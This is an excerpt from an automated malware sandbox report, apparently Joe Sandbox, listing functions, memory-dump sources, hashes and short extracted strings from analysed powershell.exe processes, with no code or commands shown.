Opcode Fuzzy Hash: 232cb6eab6ec69543196a2202924e4f06cd0aa24eb6d3a16b1e4b0177d7fba49
Instruction Fuzzy Hash: CD012B65B0D3894FD72F262818349956FB25FC3950B1A04DBC080CF357DD194C49C793

Function 07BD1555 Relevance: 5.0, Strings: 4, Instructions: 45COMMON

Download Yara Rule

Strings

(_^q, xrefs: 07BD15B9
(_^q, xrefs: 07BD159B
(_^q, xrefs: 07BD15A5
(_^q, xrefs: 07BD157E

Memory Dump Source

Source File: 0000000D.00000002.1919060823.0000000007BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7bd0000_powershell.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$(_^q$(_^q
API String ID: 0-2697572114
Opcode ID: 782ed6f5cd9a5b810c4a65f34f6e9ad786d19da5e55b393914af6af7c6548844
Instruction ID: bbbfba697ccd61036d40d83cdc232a2c61583e5027c5012421e0fe10e7fa83ce
Opcode Fuzzy Hash: 782ed6f5cd9a5b810c4a65f34f6e9ad786d19da5e55b393914af6af7c6548844
Instruction Fuzzy Hash: B50128FEA1935D4FC30A8A5D5010060BFB69FC222433E80EBC015CF2A2E9349C09C751

Analysis Process: powershell.exePID: 6028, Parent PID: 1044COMMON

Executed Functions

Function 00007FFD9B49B145 Relevance: 1.4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

UAWA, xrefs: 00007FFD9B49B17A

Memory Dump Source

Source File: 0000000F.00000002.3541069288.00007FFD9B490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b490000_powershell.jbxd

Similarity

API ID:
String ID: UAWA
API String ID: 0-1492024814
Opcode ID: 27d7a3c4e0eced0fdfbf487e1042fcaa8747eb1b161a031356956834371b9e9e
Instruction ID: 19dcb23f064aa780a3261364c0762f4b8a269c53d77ca73527c634896edb619f
Opcode Fuzzy Hash: 27d7a3c4e0eced0fdfbf487e1042fcaa8747eb1b161a031356956834371b9e9e
Instruction Fuzzy Hash: EB31043091CB488FDB089F5C984A6A97BE0FB99310F00426FE459C3252CB74A856CBC3

Function 00007FFD9B37ED40 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3537327322.00007FFD9B37D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B37D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b37d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20e17d1d228eaa60a1e35a5f540c07d423a3cc41d01576437e58f2583921b36d
Instruction ID: 7ca0910c25c20c2ac137225b87713b73f4729a061fc4001e14f4e94e31541f12
Opcode Fuzzy Hash: 20e17d1d228eaa60a1e35a5f540c07d423a3cc41d01576437e58f2583921b36d
Instruction Fuzzy Hash: 8841267140EBC44FE756DB2898959523FF4EF57320B1A05DFD088CB1A3D629A84AC7A2

Function 00007FFD9B49C088 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3541069288.00007FFD9B490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b490000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 994d86d527dfc77045dc09dacf5f7f9058eeda7f88c86071d0a01e17de640242
Instruction ID: 670d7c701662a40a1e0910fda4b21e772ede70b539fc9a5fc871dabb8efe4673
Opcode Fuzzy Hash: 994d86d527dfc77045dc09dacf5f7f9058eeda7f88c86071d0a01e17de640242
Instruction Fuzzy Hash: 9F21F730A0CB4C8FDB59DFAC984A7E97BE0EB96321F04426FD449C3152CB74A45ACB91

Function 00007FFD9B565B70 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3544098836.00007FFD9B560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b560000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f76fbe5fd7d70c2b9d41c7cc4a8fddf35e8a72d4a0be10ece3d91e319cba5bd
Instruction ID: 13975f5fbd8156567b941832489073974307a678959357a675ae3ccc0c6b8297
Opcode Fuzzy Hash: 2f76fbe5fd7d70c2b9d41c7cc4a8fddf35e8a72d4a0be10ece3d91e319cba5bd
Instruction Fuzzy Hash: 58112272B4E98D8FE7F6EA5C642806467D0EF84221B1A00FAE15EC71B3DE25AC448301

Function 00007FFD9B493605 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3541069288.00007FFD9B490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b490000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32e0f46b86229620fbb5b65b5304019462a0f5b116fffe16afb42eea6c2db867
Instruction ID: 33ac3661f2d29b206694c978a88ecbadc6c6c820a52ea565c9d7a963c4bb1a6b
Opcode Fuzzy Hash: 32e0f46b86229620fbb5b65b5304019462a0f5b116fffe16afb42eea6c2db867
Instruction Fuzzy Hash: 0301A77020CB0C4FD748EF0CE051AA9B3E0FB85324F10056DE58AC36A1DA32E881CB41

Function 00007FFD9B49BEC8 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3541069288.00007FFD9B490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b490000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f31674428b851c83d9254d80ddc357af6ee3b8a0f976d0c727be58fda047d758
Instruction ID: a113a6e0371e92dc236adc7d829ad93c4e5cff6a0e5807a1f50828ce46151aa8
Opcode Fuzzy Hash: f31674428b851c83d9254d80ddc357af6ee3b8a0f976d0c727be58fda047d758
Instruction Fuzzy Hash: BBF0243080D68D8FDF06DF288C269D57FA0FF26210F05029BE458C71B2DB64A558CBC2

Function 00007FFD9B564674 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3544098836.00007FFD9B560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b560000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2a6f87838d127d2373ed965355231f1f331cad59758273d3ad31e15ebedee64
Instruction ID: 2c9611c126111db3738473ce14f3344af24be8238349078dde64645d98ebfb52
Opcode Fuzzy Hash: a2a6f87838d127d2373ed965355231f1f331cad59758273d3ad31e15ebedee64
Instruction Fuzzy Hash: 61F0A03131CF044FE748EF2DE4497A2B3E0FBA8310F10466FE48AC3251DA21E8818782

Non-executed Functions

Function 00007FFD9B4985F2 Relevance: 7.6, Strings: 6, Instructions: 127COMMON

Download Yara Rule

Strings

L_^, xrefs: 00007FFD9B4986C2
L_^, xrefs: 00007FFD9B4985C2
L_^, xrefs: 00007FFD9B498672
L_^, xrefs: 00007FFD9B498662
L_^, xrefs: 00007FFD9B4985F2
L_^, xrefs: 00007FFD9B498622

Memory Dump Source

Source File: 0000000F.00000002.3541069288.00007FFD9B490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b490000_powershell.jbxd

Similarity

API ID:
String ID: L_^$L_^$L_^$L_^$L_^$L_^
API String ID: 0-2894164595
Opcode ID: 4bc021c54c386d9f0766eb6733a3d847d0ca1ad557cc039bb3404c1c8ae15ba4
Instruction ID: fb03625aed5524bd3046e320c80cb668d99d48a643be64566785992ae5e1d678
Opcode Fuzzy Hash: 4bc021c54c386d9f0766eb6733a3d847d0ca1ad557cc039bb3404c1c8ae15ba4
Instruction Fuzzy Hash: C74156A3E1F6DA0AE766467D087D4686F90AF12B6870F01F6C4D94F0E3EA143D059256

Function 00007FFD9B4984D0 Relevance: 7.6, Strings: 6, Instructions: 91COMMON

Download Yara Rule

Strings

L_^, xrefs: 00007FFD9B498522
L_^, xrefs: 00007FFD9B498572
L_^, xrefs: 00007FFD9B4985C2
L_^, xrefs: 00007FFD9B498562
L_^, xrefs: 00007FFD9B498502
L_^, xrefs: 00007FFD9B498512

Memory Dump Source

Source File: 0000000F.00000002.3541069288.00007FFD9B490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b490000_powershell.jbxd

Similarity

API ID:
String ID: L_^$L_^$L_^$L_^$L_^$L_^
API String ID: 0-2894164595
Opcode ID: 1a126525e4d3317129489e4e4a6ec82c2a250e02d2879ab0212aff325ed0ef99
Instruction ID: 5d612b9f6ebbeecb301f93bb01a91057de4a8b9224c5d39506d627f7cd4ef41c
Opcode Fuzzy Hash: 1a126525e4d3317129489e4e4a6ec82c2a250e02d2879ab0212aff325ed0ef99
Instruction Fuzzy Hash: 61314156A3EBD30AD727563A08784546F90AE5363874E93FBC4FD4F0E3EA14250AD326

Analysis Process: powershell.exePID: 6944, Parent PID: 1440COMMON

Executed Functions

Function 0419DD18 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1980262964.0000000004190000.00000040.00000800.00020000.00000000.sdmp, Offset: 04190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4190000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b60d9ea76d4cb6b0e31023c540c878742aff45e40696bd672772c574f5c8737d
Instruction ID: a41a605f83a7b98c750bce728bd9e6b4209aa0d6ceada2b9327c84de1814a98d
Opcode Fuzzy Hash: b60d9ea76d4cb6b0e31023c540c878742aff45e40696bd672772c574f5c8737d
Instruction Fuzzy Hash: 8891A6B1B006145BEB1AEFB4D8545EEBBE2DF84608B40891DD54ABB340DF747D0A8BC6

Function 0419DD38 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1980262964.0000000004190000.00000040.00000800.00020000.00000000.sdmp, Offset: 04190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4190000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d49928620c223068f2da7d011123d8eaddd3ceb80a8fe18443858cfd7fdeb789
Instruction ID: 2185611dba258dd1be1acf58ecb663eb28c455b2e5aba8c8d807ed9e773716d4
Opcode Fuzzy Hash: d49928620c223068f2da7d011123d8eaddd3ceb80a8fe18443858cfd7fdeb789
Instruction Fuzzy Hash: 4791A4B1B006155BEB19EFB4C4546EEB7E2EF84608B40891DD54ABB340DF74BD0A8BC6

Function 06FC3480 Relevance: 19.2, Strings: 15, Instructions: 498COMMON

Download Yara Rule

Strings

+l, xrefs: 06FC35BA
J6l, xrefs: 06FC3726
4'^q, xrefs: 06FC3533
4'^q, xrefs: 06FC353F
4'^q, xrefs: 06FC373D
J6l, xrefs: 06FC34D7
r5l, xrefs: 06FC367F
J6l, xrefs: 06FC351D
+l, xrefs: 06FC35AC
<c(k, xrefs: 06FC3503
J6l, xrefs: 06FC36CE
4'^q, xrefs: 06FC3749
J6l, xrefs: 06FC3511
J6l, xrefs: 06FC371A
r5l, xrefs: 06FC3689

Memory Dump Source

Source File: 00000013.00000002.2017844972.0000000006FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6fc0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$<c(k$J6l$J6l$J6l$J6l$J6l$J6l$r5l$r5l$+l$+l
API String ID: 0-2032473898
Opcode ID: b28d10a4833d3e1196e1f3ac9715dfb3784f9a71ca867765ea3f2fb6c59bd319
Instruction ID: dd7b87f6a95598dc51acaffb5e9f28c2c30590f40d6ef645f47902a0b1ca4c47
Opcode Fuzzy Hash: b28d10a4833d3e1196e1f3ac9715dfb3784f9a71ca867765ea3f2fb6c59bd319
Instruction Fuzzy Hash: 84F15537F042069FDB508B69DA40A6BBBE2AF852B0F14C47EE505CB355DB32C945CBA1

Function 07F52F30 Relevance: 17.8, Strings: 14, Instructions: 282COMMON

Download Yara Rule

Strings

Xbq, xrefs: 07F531FC
Xbq, xrefs: 07F53068
Xbq, xrefs: 07F53172
Xbq, xrefs: 07F53280
Xbq, xrefs: 07F52FA2
Xbq, xrefs: 07F530AB
Xbq, xrefs: 07F53026
Xbq, xrefs: 07F52FE4
Xbq, xrefs: 07F531B7
$^q, xrefs: 07F532E0
$^q, xrefs: 07F532D4
Xbq, xrefs: 07F530EE
Xbq, xrefs: 07F53130
Xbq, xrefs: 07F5323E

Memory Dump Source

Source File: 00000013.00000002.2022819413.0000000007F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7f50000_powershell.jbxd

Similarity

API ID:
String ID: Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$$^q$$^q
API String ID: 0-2161063300
Opcode ID: 47c700c9150b9667f0479717584a5ac7d46692fe4e5bdd7f8c1e8c2bd99ffe68
Instruction ID: a1048531ed71cd30c7b576d9d8264b1f99292f54e34e909fb64ad7d3d2099464
Opcode Fuzzy Hash: 47c700c9150b9667f0479717584a5ac7d46692fe4e5bdd7f8c1e8c2bd99ffe68
Instruction Fuzzy Hash: CEC15BB0B042588FDB649F79C4447AEF6F2EF85305F2444B9C54AAB394DF34AD818B51

Function 07F52F20 Relevance: 16.5, Strings: 13, Instructions: 277COMMON

Download Yara Rule

Strings

Xbq, xrefs: 07F531FC
Xbq, xrefs: 07F53068
Xbq, xrefs: 07F53172
Xbq, xrefs: 07F53280
Xbq, xrefs: 07F52FA2
Xbq, xrefs: 07F530AB
Xbq, xrefs: 07F53026
Xbq, xrefs: 07F52FE4
Xbq, xrefs: 07F531B7
$^q, xrefs: 07F532D4
Xbq, xrefs: 07F530EE
Xbq, xrefs: 07F53130
Xbq, xrefs: 07F5323E

Memory Dump Source

Source File: 00000013.00000002.2022819413.0000000007F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7f50000_powershell.jbxd

Similarity

API ID:
String ID: Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$$^q
API String ID: 0-2644358041
Opcode ID: f7213ab31dfa651059a67b2c435e5bb475af64d9413ae7e74f241b9c23c460e4
Instruction ID: 2f518652201afef49617ad8efb247b54ccf3a5f280705b16e30cf32e71c6139c
Opcode Fuzzy Hash: f7213ab31dfa651059a67b2c435e5bb475af64d9413ae7e74f241b9c23c460e4
Instruction Fuzzy Hash: E7B15BB0B042588FDB249F79C4447AEF6F2EF85305F2444B9C94AAB395DB34AD818F51

Function 06FC2430 Relevance: 14.4, Strings: 11, Instructions: 681COMMON

Download Yara Rule

Strings

(o^q, xrefs: 06FC2743
4'^q, xrefs: 06FC2651
(o^q, xrefs: 06FC274F
4'^q, xrefs: 06FC2590
0U^q, xrefs: 06FC2BCD
tP^q, xrefs: 06FC25E4
843l, xrefs: 06FC2575
tP^q, xrefs: 06FC25D8
4'^q, xrefs: 06FC2584
4'^q, xrefs: 06FC2641
843l, xrefs: 06FC256B

Memory Dump Source

Source File: 00000013.00000002.2017844972.0000000006FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6fc0000_powershell.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$0U^q$4'^q$4'^q$4'^q$4'^q$843l$843l$tP^q$tP^q
API String ID: 0-1598463786
Opcode ID: 347b18977a5485dfae148d1cfb59876fd9dec568c17613fac8bf420abde7da96
Instruction ID: 6ed56657714b6d46ea5f69d9f5ae097234653ce4c10ab7350dffc2677f2123df
Opcode Fuzzy Hash: 347b18977a5485dfae148d1cfb59876fd9dec568c17613fac8bf420abde7da96
Instruction Fuzzy Hash: AE32F831F0020A9FCB549F69C644A6BBBE2EF89320F14846EE5059F355DB31DE85CBA1

Function 07F52CB0 Relevance: 10.2, Strings: 8, Instructions: 187COMMON

Download Yara Rule

Strings

$^q, xrefs: 07F52E66
0oAp, xrefs: 07F52E3E
$^q, xrefs: 07F52E32
$^q, xrefs: 07F52E18
$^q, xrefs: 07F52DA7
,bq, xrefs: 07F52D05
$^q, xrefs: 07F52DFE
$^q, xrefs: 07F52E4C

Memory Dump Source

Source File: 00000013.00000002.2022819413.0000000007F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7f50000_powershell.jbxd

Similarity

API ID:
String ID: ,bq$0oAp$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-4154621813
Opcode ID: e20017b24aba2343967b20baa75539c47203b105449b42e9017f92a41a0f9ff4
Instruction ID: 8faef944873ab4945953c628bb7c50c4711108e6e065a9a993cf4d568002de9c
Opcode Fuzzy Hash: e20017b24aba2343967b20baa75539c47203b105449b42e9017f92a41a0f9ff4
Instruction Fuzzy Hash: 2B51E3F1B8014A8FCF289B78C95456C7BB27F8D740B18066AD912CF764DF24DD828792

Function 07F57A80 Relevance: 1.5, Strings: 1, Instructions: 232COMMON

Download Yara Rule

Strings

(bq, xrefs: 07F57B9F

Memory Dump Source

Source File: 00000013.00000002.2022819413.0000000007F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7f50000_powershell.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: 6e058c8d42d5c77ad842740db7a7e689d3993967ebe5132f7a222f1da3ffc116
Instruction ID: c5ed3f0986791d804ab497d9fe99fcc28eea85814155033461a295f5faf89a1f
Opcode Fuzzy Hash: 6e058c8d42d5c77ad842740db7a7e689d3993967ebe5132f7a222f1da3ffc116
Instruction Fuzzy Hash: C2815BB4B002158FDB14DF68D498AAEBBF2EF8D610F194069E906EB361DB35DC41CB60

Function 06FC4598 Relevance: 1.4, Strings: 1, Instructions: 192COMMON

Download Yara Rule

Strings

L5l, xrefs: 06FC45AA

Memory Dump Source

Source File: 00000013.00000002.2017844972.0000000006FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6fc0000_powershell.jbxd

Similarity

API ID:
String ID: L5l
API String ID: 0-3035273751
Opcode ID: 0590803f873244be2becc3705c31c63a177ab64e54fa6d8704ed687cb6a00d08
Instruction ID: a16bde73bf7cb73575089656aac2e1ca070eda881c4e61b17e68cc828316e475
Opcode Fuzzy Hash: 0590803f873244be2becc3705c31c63a177ab64e54fa6d8704ed687cb6a00d08
Instruction Fuzzy Hash: AE517C36B042559FDB558B69D960A3ABBE6DFC2230B18847FD905CF391CA32CC01C7A1

Function 0419E8B0 Relevance: 1.4, Strings: 1, Instructions: 117COMMON

Download Yara Rule

Strings

(bq, xrefs: 0419E962

Memory Dump Source

Source File: 00000013.00000002.1980262964.0000000004190000.00000040.00000800.00020000.00000000.sdmp, Offset: 04190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4190000_powershell.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: 72394aaf0d86a2c97b2f8ed619fb792fcd8024d5fff16f68031c165068d439e3
Instruction ID: 17b14912092bfd513970ddb67a2b98ed65d3db06d399aa25218b989a239fa53d
Opcode Fuzzy Hash: 72394aaf0d86a2c97b2f8ed619fb792fcd8024d5fff16f68031c165068d439e3
Instruction Fuzzy Hash: 0C31F0B23042015FD704AB79E8949AFBBD6EFC0224714857ED60A9B350DF35EC06C7A4

Function 0419E7B8 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

</*l, xrefs: 0419E860

Memory Dump Source

Source File: 00000013.00000002.1980262964.0000000004190000.00000040.00000800.00020000.00000000.sdmp, Offset: 04190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4190000_powershell.jbxd

Similarity

API ID:
String ID: </*l
API String ID: 0-2210887811
Opcode ID: 8e3c1d4c3ff779cc1b8bb4030b74442c8bd9716767bf945b1ad08fb95971d3c7
Instruction ID: 21ac0a60851931b737f9c2ad99528eb576a98236c36163c50032c62e1650cea7
Opcode Fuzzy Hash: 8e3c1d4c3ff779cc1b8bb4030b74442c8bd9716767bf945b1ad08fb95971d3c7
Instruction Fuzzy Hash: 8731D6306043519FCB25CBA9D8806AABFE5EF85304F1484BED459CB7A1D774EC45CB91

Function 0419D840 Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

(&^q, xrefs: 0419D862

Memory Dump Source

Source File: 00000013.00000002.1980262964.0000000004190000.00000040.00000800.00020000.00000000.sdmp, Offset: 04190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4190000_powershell.jbxd

Similarity

API ID:
String ID: (&^q
API String ID: 0-2067289071
Opcode ID: 55e624e35b160545433c37b3d20ee5ab3bfb40e3771edaabe9faf9fc240e4864
Instruction ID: f09d8dba9dad516dd2c3c4d4d9097cf83fcc133252fa9ca3ac56ff00fccefa3d
Opcode Fuzzy Hash: 55e624e35b160545433c37b3d20ee5ab3bfb40e3771edaabe9faf9fc240e4864
Instruction Fuzzy Hash: 6F219A71A042588FCB14DFAEE44469EBBF5AB89320F24846AD419A7340CB74A805CBE5

Function 06FC457B Relevance: 1.3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

L5l, xrefs: 06FC45AA

Memory Dump Source

Source File: 00000013.00000002.2017844972.0000000006FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6fc0000_powershell.jbxd

Similarity

API ID:
String ID: L5l
API String ID: 0-3035273751
Opcode ID: f7b40d058a06562046245f1c8bae2dc53932efffb86c2f05544d1cc06f86af5a
Instruction ID: 468e19e99ea3df7ddd03387432ed9c1afa92623ce3508378251c04afb1545adf
Opcode Fuzzy Hash: f7b40d058a06562046245f1c8bae2dc53932efffb86c2f05544d1cc06f86af5a
Instruction Fuzzy Hash: A821387AA04342AFD751CF54CD61E66BBF9FB81320F4580AAE804CB251C732DC00CBA1

Function 0419E7C8 Relevance: 1.3, Strings: 1, Instructions: 77COMMON

Download Yara Rule

Strings

</*l, xrefs: 0419E860

Memory Dump Source

Source File: 00000013.00000002.1980262964.0000000004190000.00000040.00000800.00020000.00000000.sdmp, Offset: 04190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4190000_powershell.jbxd

Similarity

API ID:
String ID: </*l
API String ID: 0-2210887811
Opcode ID: 965c38ee8d8eb7ed6e15d37d0fc195bd4739c7df9fe48ac2277f05801a83d4be
Instruction ID: ce670dba9649af09ebe8973bb8e806c71253ef97dbdda80d58f8e1153c6040c3
Opcode Fuzzy Hash: 965c38ee8d8eb7ed6e15d37d0fc195bd4739c7df9fe48ac2277f05801a83d4be
Instruction Fuzzy Hash: 1521A3307003159FCB14CFA9C984AAABBE5EF88304F04846DE459DB765D775ED45CB90

Function 07F553D0 Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07F5539E

Memory Dump Source

Source File: 00000013.00000002.2022819413.0000000007F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7f50000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 3102d2c0cf5fec973cce6fa29e0151a13be3d3b7fe5d1e3d33687c794c858bfa
Instruction ID: 7e7eb3a50e10bde501eb756e5685350532d4feb7f24251a36359fd36e8f79456
Opcode Fuzzy Hash: 3102d2c0cf5fec973cce6fa29e0151a13be3d3b7fe5d1e3d33687c794c858bfa
Instruction Fuzzy Hash: 9011DCB2A00308AFC714DF6AD8404DEBFF5FF89210B04462AE989C3300D730EA158BA1

Function 07F50FA0 Relevance: .3, Instructions: 344COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2022819413.0000000007F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c6b98b44d239a2573fb46a1351c705df0c76beb75979fbf749954cafbcd800a
Instruction ID: a35213afe3d299e161a0ac722fef77492b577c22991aaab0a496493a9abc508a
Opcode Fuzzy Hash: 2c6b98b44d239a2573fb46a1351c705df0c76beb75979fbf749954cafbcd800a
Instruction Fuzzy Hash: FAE1F975A00204DFDB05CF68C598AA97BF2FF49315F4980A9E90AEB762CB34EC45CB50

Function 07F50FC0 Relevance: .3, Instructions: 340COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2022819413.0000000007F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efef6732ca395142901a4eaac82c1aa036d9378fa87085b0738e0241770f5525
Instruction ID: 6c5c9c5a11861c756491359297202f9c067d4b70ec979da0de9b4ee6624cb15f
Opcode Fuzzy Hash: efef6732ca395142901a4eaac82c1aa036d9378fa87085b0738e0241770f5525
Instruction Fuzzy Hash: 1FE1DA75A002059FDB05DF68C588A997BF2FF49315F4984B8E90AEB762CB34EC45CB50

Function 07F5BFA8 Relevance: .3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2022819413.0000000007F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21997472363b66a7201a0030158e7c80f1f6981c8c07e65f21827bbb8751a985
Instruction ID: 928c02daa70bbfb1e14f05a51567ae43138a4f3f4eca9f32d5b033958e55028c
Opcode Fuzzy Hash: 21997472363b66a7201a0030158e7c80f1f6981c8c07e65f21827bbb8751a985
Instruction Fuzzy Hash: 1DE11874A0020A9FDB05CF98D584A9DFBF2FF49320F298159E905AB365C731ED85CBA0

Function 07F5DB38 Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2022819413.0000000007F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24fe7daebd6f64fb9b087ef0c9c87f3e3a97a591ce84ef00f87b07048bcbe020
Instruction ID: fb6a9dfc8c7d8fe9c7395b51a7ea881179b6c9d288cf8eed4abf0f32896b8b4c
Opcode Fuzzy Hash: 24fe7daebd6f64fb9b087ef0c9c87f3e3a97a591ce84ef00f87b07048bcbe020
Instruction Fuzzy Hash: 55B10875E01209EFDB05DFA8D584A9DFBB2BF88310F298159E904AB365C771ED85CB80

Function 04192B60 Relevance: .2, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1980262964.0000000004190000.00000040.00000800.00020000.00000000.sdmp, Offset: 04190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4190000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd6245c594f791ee1c37d5c9ce28b1bf9953a23206a786c7f8e321fb14b808d8
Instruction ID: 13fc82cd30e92d471dc828c8477e659ef3da8ca42103d2601b539ad012a24718
Opcode Fuzzy Hash: bd6245c594f791ee1c37d5c9ce28b1bf9953a23206a786c7f8e321fb14b808d8
Instruction Fuzzy Hash: 36A18CB4A002099FCB15CF59C5D49AABBF1FF88310B2489A9E9159B365D735FC41CFA0

Function 07F5D538 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2022819413.0000000007F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca8ba82ea5a94b857aad9cdd802f1cbda2d095d9a7dc81e438dea686cff397c3
Instruction ID: 103a395863bec2c2b3d048fe853ff6c8e7a4474cd9a6a4453e52cb368017874b
Opcode Fuzzy Hash: ca8ba82ea5a94b857aad9cdd802f1cbda2d095d9a7dc81e438dea686cff397c3
Instruction Fuzzy Hash: B2718DB4A01605CFCB14CF58C880AAAFBF1FF88310B188699D959AB365C731FC41CBA0

Function 07F59278 Relevance: .2, Instructions: 171COMMON

